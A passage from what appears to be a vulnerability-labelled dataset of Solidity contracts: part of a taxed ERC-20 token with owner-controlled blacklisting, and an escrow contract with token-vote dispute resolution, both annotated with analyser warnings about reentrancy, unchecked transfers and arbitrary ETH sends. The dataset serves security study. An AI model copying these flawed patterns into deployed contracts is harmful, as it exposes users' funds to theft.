55c2024\n\t\t// reentrancy-benign | ID: 293ea15\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 55c2024\n\t\t// reentrancy-benign | ID: 293ea15\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6696e8): BIBI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6696e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 293ea15\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 55c2024\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fae757a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fae757a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6df08a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6df08a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: fae757a\n\t\t\t\t// reentrancy-eth | ID: 6df08a2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fae757a\n\t\t\t\t\t// reentrancy-eth | ID: 6df08a2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6df08a2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6df08a2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6df08a2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fae757a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6df08a2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6df08a2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fae757a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 55c2024\n\t\t// reentrancy-events | ID: fae757a\n\t\t// reentrancy-benign | ID: 293ea15\n\t\t// reentrancy-eth | ID: 6df08a2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 55c2024\n\t\t// reentrancy-events | ID: fae757a\n\t\t// reentrancy-eth | ID: 6df08a2\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 20ada08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 20ada08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3640f57): BIBI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3640f57: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 04bedcd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 04bedcd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 20ada08\n\t\t// unused-return | ID: 3640f57\n\t\t// reentrancy-eth | ID: 04bedcd\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 20ada08\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 04bedcd\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10179.sol",
"size_bytes": 21900,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant NOT_ENTERED = 1;\n\n uint256 private constant ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41d014e): SendrEscrow.signContract(uint256)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 41d014e: Rename the local variables that shadow another component.\n uint256 private _status;\n\n error ReentrancyGuardReentrantCall();\n\n constructor() {\n _status = NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n if (_status == ENTERED) {\n revert ReentrancyGuardReentrantCall();\n }\n\n _status = ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == ENTERED;\n }\n}\n\ncontract SendrEscrow is Ownable, ReentrancyGuard {\n struct Milestone {\n uint256 contractId;\n uint256 value;\n string title;\n bool released;\n bool inDispute;\n }\n\n struct Delegate {\n address delegateAddress;\n uint256 votingPower;\n uint256 timestamp;\n }\n\n struct Contract {\n Milestone[] milestones;\n uint256 startBlock;\n uint256 contractId;\n address payer;\n address payee;\n bool active;\n string title;\n address tokenAddress;\n bool inDispute;\n uint256 valueRemaining;\n }\n\n struct Dispute {\n uint256 contractId;\n uint256 milestoneId;\n bool fullContractDispute;\n bool resolved;\n uint256 snapshotBlock;\n uint256 yesVotes;\n uint256 noVotes;\n uint256 votingDeadline;\n uint256 totalVotes;\n mapping(address => bool) hasVoted;\n }\n\n uint256 public VOTING_DURATION = 24 hours;\n\n uint256 public VOTING_EXTENSION_DURATION = 12 hours;\n\n uint256 public THRESHOLD_PERCENT = 10;\n\n uint256 public CONTRACT_FEE = 500;\n\n address public FEE_WALLET = 0xeaDA12106cE206Ed1faD23C4cD94Af794282FA22;\n\n uint256 public activeContracts;\n\n IERC20 public sendrToken;\n\n address public sendrTreasury;\n\n uint256 public contractCount;\n\n mapping(address => Delegate[]) public userDelegations;\n\n mapping(uint256 => Contract) public contracts;\n\n mapping(uint256 => Dispute) public disputes;\n\n mapping(address => uint256[]) public userContracts;\n\n mapping(uint256 => bool) public fundedStatus;\n\n mapping(uint256 => address) public signer;\n\n mapping(address => mapping(uint256 => bool)) public voidCheck;\n\n mapping(uint256 => mapping(uint256 => bool)) public payeeSignedMilestone;\n\n mapping(uint256 => mapping(uint256 => bool)) public payerSignedMilestone;\n\n mapping(uint256 => bool) public voided;\n\n mapping(uint256 => bool) public completedStatus;\n\n event DisputeCreated(\n uint256 contractId,\n uint256 milestoneId,\n bool fullContractDispute,\n uint256 snapshotBlock\n );\n\n event ContractCompleted(uint256 contractId);\n\n event DisputeResolved(\n uint256 contractId,\n uint256 milestoneId,\n bool inFavorOfPayee\n );\n\n event VotingExtended(uint256 contractId, uint256 milestoneId);\n\n event ContractCreated(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n string identifier\n );\n\n event MilestoneReleased(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n uint256 milestoneId\n );\n\n event ContractSigned(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event MilestoneDisputed(uint256 contractId, uint256 milestoneId);\n\n event ContractDisputed(uint256 contractId);\n\n event ContractVoided(uint256 contractId);\n\n constructor(IERC20 _sendrToken) Ownable(msg.sender) {\n sendrToken = _sendrToken;\n }\n\n function setSendrToken(IERC20 _sendrToken) external onlyOwner {\n sendrToken = _sendrToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9eae222): SendrEscrow.setFeeWallet(address)._feeWallet lacks a zerocheck on \t FEE_WALLET = _feeWallet\n\t// Recommendation for 9eae222: Check that the address is not zero.\n function setFeeWallet(address _feeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 9eae222\n FEE_WALLET = _feeWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 68d0501): SendrEscrow.setFee(uint256) should emit an event for CONTRACT_FEE = _fee \n\t// Recommendation for 68d0501: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: 68d0501\n CONTRACT_FEE = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4afd60f): SendrEscrow.setSendrTreasury(address)._sendrTreasury lacks a zerocheck on \t sendrTreasury = _sendrTreasury\n\t// Recommendation for 4afd60f: Check that the address is not zero.\n function setSendrTreasury(address _sendrTreasury) external onlyOwner {\n\t\t// missing-zero-check | ID: 4afd60f\n sendrTreasury = _sendrTreasury;\n }\n\n function setVotingDuration(uint256 _duration) external onlyOwner {\n require(_duration > 0, \"Duration must be greater than zero\");\n\n require(_duration < 24 hours);\n\n VOTING_DURATION = _duration;\n }\n\n function setVotingExtensionDuration(uint256 _extension) external onlyOwner {\n require(_extension > 0, \"Extension must be greater than zero\");\n\n VOTING_EXTENSION_DURATION = _extension;\n }\n\n function setThresholdPercent(uint256 _percent) external onlyOwner {\n require(_percent >= 4 && _percent <= 100, \"Invalid Threshold Percent\");\n\n THRESHOLD_PERCENT = _percent;\n }\n\n function delegateVotes(\n address delegateAddress,\n uint256 votingPower\n ) external {\n require(\n votingPower <= sendrToken.balanceOf(msg.sender),\n \"Insufficient balance to delegate\"\n );\n\n userDelegations[msg.sender].push(\n Delegate({\n delegateAddress: delegateAddress,\n votingPower: votingPower,\n timestamp: block.timestamp\n })\n );\n }\n\n function getPastVotes(\n address user,\n uint256 disputeTimestamp\n ) public view returns (uint256) {\n Delegate[] memory delegations = userDelegations[user];\n\n uint256 lastValidVotingPower = 0;\n\n for (uint256 i = 0; i < delegations.length; i++) {\n if (delegations[i].timestamp <= disputeTimestamp) {\n lastValidVotingPower = delegations[i].votingPower;\n } else {\n break;\n }\n }\n\n require(\n sendrToken.balanceOf(user) >= lastValidVotingPower,\n \"Insufficient balance for past voting power\"\n );\n\n return lastValidVotingPower;\n }\n\n function raiseDispute(\n uint256 _contractId,\n uint256 _milestoneId,\n bool _fullContractDispute\n ) public {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Only contract parties can raise disputes\"\n );\n\n require(_contract.active, \"Contract not active\");\n\n require(_contract.valueRemaining > 0, \"No value remaining\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n if (_fullContractDispute) {\n _contract.inDispute = true;\n } else {\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone already in dispute\");\n\n milestone.inDispute = true;\n }\n\n uint256 snapshotBlock = block.number;\n\n Dispute storage dispute = disputes[_contractId];\n\n dispute.contractId = _contractId;\n\n dispute.milestoneId = _milestoneId;\n\n dispute.fullContractDispute = _fullContractDispute;\n\n dispute.resolved = false;\n\n dispute.snapshotBlock = snapshotBlock;\n\n dispute.yesVotes = 0;\n\n dispute.noVotes = 0;\n\n dispute.votingDeadline = block.timestamp + VOTING_DURATION;\n\n dispute.totalVotes = 0;\n\n emit DisputeCreated(\n _contractId,\n _milestoneId,\n _fullContractDispute,\n snapshotBlock\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 49f06ca): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 49f06ca: Avoid relying on 'block.timestamp'.\n function voteOnDispute(\n uint256 _contractId,\n bool _voteInFavorOfPayee\n ) public nonReentrant {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n if (\n\t\t\t// timestamp | ID: 49f06ca\n block.timestamp <= dispute.votingDeadline &&\n dispute.totalVotes <\n ((sendrToken.totalSupply() * THRESHOLD_PERCENT) / 100)\n ) {\n dispute.votingDeadline += VOTING_EXTENSION_DURATION;\n }\n\n\t\t// timestamp | ID: 49f06ca\n require(\n block.timestamp <= dispute.votingDeadline,\n \"Voting period has ended\"\n );\n\n require(!dispute.hasVoted[msg.sender], \"You have already voted\");\n\n uint256 voterBalance = getPastVotes(msg.sender, dispute.snapshotBlock);\n\n require(voterBalance > 0, \"No voting power\");\n\n if (_voteInFavorOfPayee) {\n dispute.yesVotes += voterBalance;\n } else {\n dispute.noVotes += voterBalance;\n }\n\n dispute.totalVotes += voterBalance;\n\n dispute.hasVoted[msg.sender] = true;\n\n uint256 totalSupply = sendrToken.totalSupply();\n\n if (dispute.totalVotes >= ((totalSupply * THRESHOLD_PERCENT) / 100)) {\n _resolveDispute(_contractId);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ae30ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ae30ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2bbabdf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2bbabdf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2909611): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2909611: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _resolveDispute(uint256 _contractId) internal {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n Contract storage _contract = contracts[_contractId];\n\n Milestone storage milestone = _contract.milestones[dispute.milestoneId];\n\n bool inFavorOfPayee = dispute.yesVotes > dispute.noVotes;\n\n dispute.resolved = true;\n\n if (inFavorOfPayee) {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 2bbabdf\n _sendFunds(\n _contractId,\n _contract.payee,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 2bbabdf\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 2bbabdf\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 2bbabdf\n _contract.active = false;\n } else {\n\t\t\t\t// reentrancy-eth | ID: 4ae30ac\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n milestone.released = true;\n\n milestone.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 4ae30ac\n _contract.valueRemaining -= milestone.value;\n }\n } else {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 2909611\n _sendFunds(\n _contractId,\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 2909611\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 2909611\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 2909611\n _contract.active = false;\n } else {\n _sendFunds(_contractId, _contract.payer, milestone.value);\n\n milestone.inDispute = false;\n }\n }\n\n emit DisputeResolved(_contractId, dispute.milestoneId, inFavorOfPayee);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c8b3dc0): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(recipient,remainingAmount)\n\t// Recommendation for c8b3dc0: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fbf8050): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(FEE_WALLET,fee)\n\t// Recommendation for fbf8050: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4068d06): SendrEscrow._sendFunds(uint256,address,uint256) sends eth to arbitrary user Dangerous calls address(FEE_WALLET).transfer(fee)\n\t// Recommendation for 4068d06: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _sendFunds(\n uint256 _contractId,\n address recipient,\n uint256 amount\n ) internal {\n require(FEE_WALLET != address(0), \"Fee wallet not set\");\n\n Contract storage _contract = contracts[_contractId];\n\n uint256 fee = (amount * CONTRACT_FEE) / 10000;\n\n uint256 remainingAmount = amount - fee;\n\n if (_contract.tokenAddress == address(0)) {\n\t\t\t// reentrancy-eth | ID: 4ae30ac\n\t\t\t// reentrancy-eth | ID: 334d634\n\t\t\t// reentrancy-eth | ID: 2bbabdf\n\t\t\t// reentrancy-eth | ID: 2909611\n\t\t\t// arbitrary-send-eth | ID: 4068d06\n payable(FEE_WALLET).transfer(fee);\n\n\t\t\t// reentrancy-eth | ID: 4ae30ac\n\t\t\t// reentrancy-eth | ID: 334d634\n\t\t\t// reentrancy-eth | ID: 2bbabdf\n\t\t\t// reentrancy-eth | ID: 2909611\n payable(recipient).transfer(remainingAmount);\n } else {\n IERC20 token = IERC20(_contract.tokenAddress);\n\n\t\t\t// reentrancy-benign | ID: d30fb89\n\t\t\t// unchecked-transfer | ID: fbf8050\n\t\t\t// reentrancy-eth | ID: 4ae30ac\n\t\t\t// reentrancy-eth | ID: 334d634\n\t\t\t// reentrancy-eth | ID: 2bbabdf\n\t\t\t// reentrancy-eth | ID: 2909611\n token.transfer(FEE_WALLET, fee);\n\n\t\t\t// reentrancy-benign | ID: d30fb89\n\t\t\t// unchecked-transfer | ID: c8b3dc0\n\t\t\t// reentrancy-eth | ID: 4ae30ac\n\t\t\t// reentrancy-eth | ID: 334d634\n\t\t\t// reentrancy-eth | ID: 2bbabdf\n\t\t\t// reentrancy-eth | ID: 2909611\n token.transfer(recipient, remainingAmount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd7efce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd7efce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createContract(\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones,\n address _payer,\n address _payee,\n address _tokenAddress,\n string memory _title,\n string memory _id\n ) public payable nonReentrant {\n require(\n msg.sender == _payer || msg.sender == _payee,\n \"Contract creator must be the payer or payee\"\n );\n\n require(_payer != _payee, \"Payer and Payee addresses must differ\");\n\n require(\n _values.length == _numMilestones &&\n _titles.length == _numMilestones,\n \"Invalid number of milestones\"\n );\n\n uint256 toSend = 0;\n\n address _signer;\n\n if (msg.sender == _payer) {\n _signer = _payee;\n\n for (uint256 i = 0; i < _values.length; i++) {\n require(_values[i] > 0, \"Value must be greater than 0\");\n\n toSend += _values[i];\n }\n\n if (_tokenAddress != address(0)) {\n\t\t\t\t// reentrancy-benign | ID: fd7efce\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n ),\n \"ERC20 transfer failed\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: fd7efce\n fundedStatus[contractCount] = true;\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n\n fundedStatus[contractCount] = true;\n }\n } else {\n _signer = _payer;\n }\n\n Milestone[] memory milestones = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n milestones[i] = Milestone(\n contractCount,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n Contract storage newContract = contracts[contractCount];\n\n\t\t// reentrancy-benign | ID: fd7efce\n newContract.payer = _payer;\n\n\t\t// reentrancy-benign | ID: fd7efce\n newContract.payee = _payee;\n\n\t\t// reentrancy-benign | ID: fd7efce\n newContract.title = _title;\n\n\t\t// reentrancy-benign | ID: fd7efce\n newContract.tokenAddress = _tokenAddress;\n\n\t\t// reentrancy-benign | ID: fd7efce\n newContract.contractId = contractCount;\n\n if (msg.sender == _payer) {\n\t\t\t// reentrancy-benign | ID: fd7efce\n newContract.valueRemaining = _totalValue;\n } else {\n\t\t\t// reentrancy-benign | ID: fd7efce\n newContract.valueRemaining = 0;\n }\n\n newContract.active = false;\n\n for (uint256 i = 0; i < milestones.length; i++) {\n newContract.milestones.push(milestones[i]);\n }\n\n\t\t// reentrancy-benign | ID: fd7efce\n signer[contractCount] = _signer;\n\n emit ContractCreated(contractCount, _payer, _payee, _title, _id);\n\n\t\t// reentrancy-benign | ID: fd7efce\n contractCount += 1;\n }\n\n function _generateMilestoneArray(\n uint256 _contractId,\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones\n ) internal pure returns (Milestone[] memory, uint256) {\n Milestone[] memory toReturn = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n toReturn[i] = Milestone(\n _contractId,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n return (toReturn, _totalValue);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 04bb2fb): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 04bb2fb: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d6c7fa2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d6c7fa2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 64774f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 64774f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: dd8292e): SendrEscrow.signContract(uint256) uses a dangerous strict equality require(bool,string)(toSend == newBalance currentBalance,Transfer failed)\n\t// Recommendation for dd8292e: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41d014e): SendrEscrow.signContract(uint256)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 41d014e: Rename the local variables that shadow another component.\n function signContract(uint256 _contractId) public payable nonReentrant {\n Contract storage _contract = contracts[_contractId];\n\n address _signer = signer[_contractId];\n\n require(_signer == msg.sender, \"You are not the signer\");\n\t\t// timestamp | ID: 04bb2fb\n\n require(!_contract.active, \"Contract already active\");\n\t\t// timestamp | ID: 04bb2fb\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n uint256 toSend = 0;\n\n if (_signer == _contract.payer) {\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n toSend += _contract.milestones[i].value;\n }\n\n if (_contract.tokenAddress != address(0)) {\n address _tokenAddress = _contract.tokenAddress;\n\n uint256 currentBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// reentrancy-benign | ID: d6c7fa2\n\t\t\t\t// reentrancy-no-eth | ID: 64774f9\n\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n )\n );\n\n uint256 newBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// incorrect-equality | ID: dd8292e\n\n require(\n toSend == newBalance - currentBalance,\n \"Transfer failed\"\n );\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n }\n\t\t\t// reentrancy-benign | ID: d6c7fa2\n\n fundedStatus[_contractId] = true;\n\t\t\t// reentrancy-no-eth | ID: 64774f9\n\n _contract.valueRemaining = toSend;\n }\n\n bool _status = 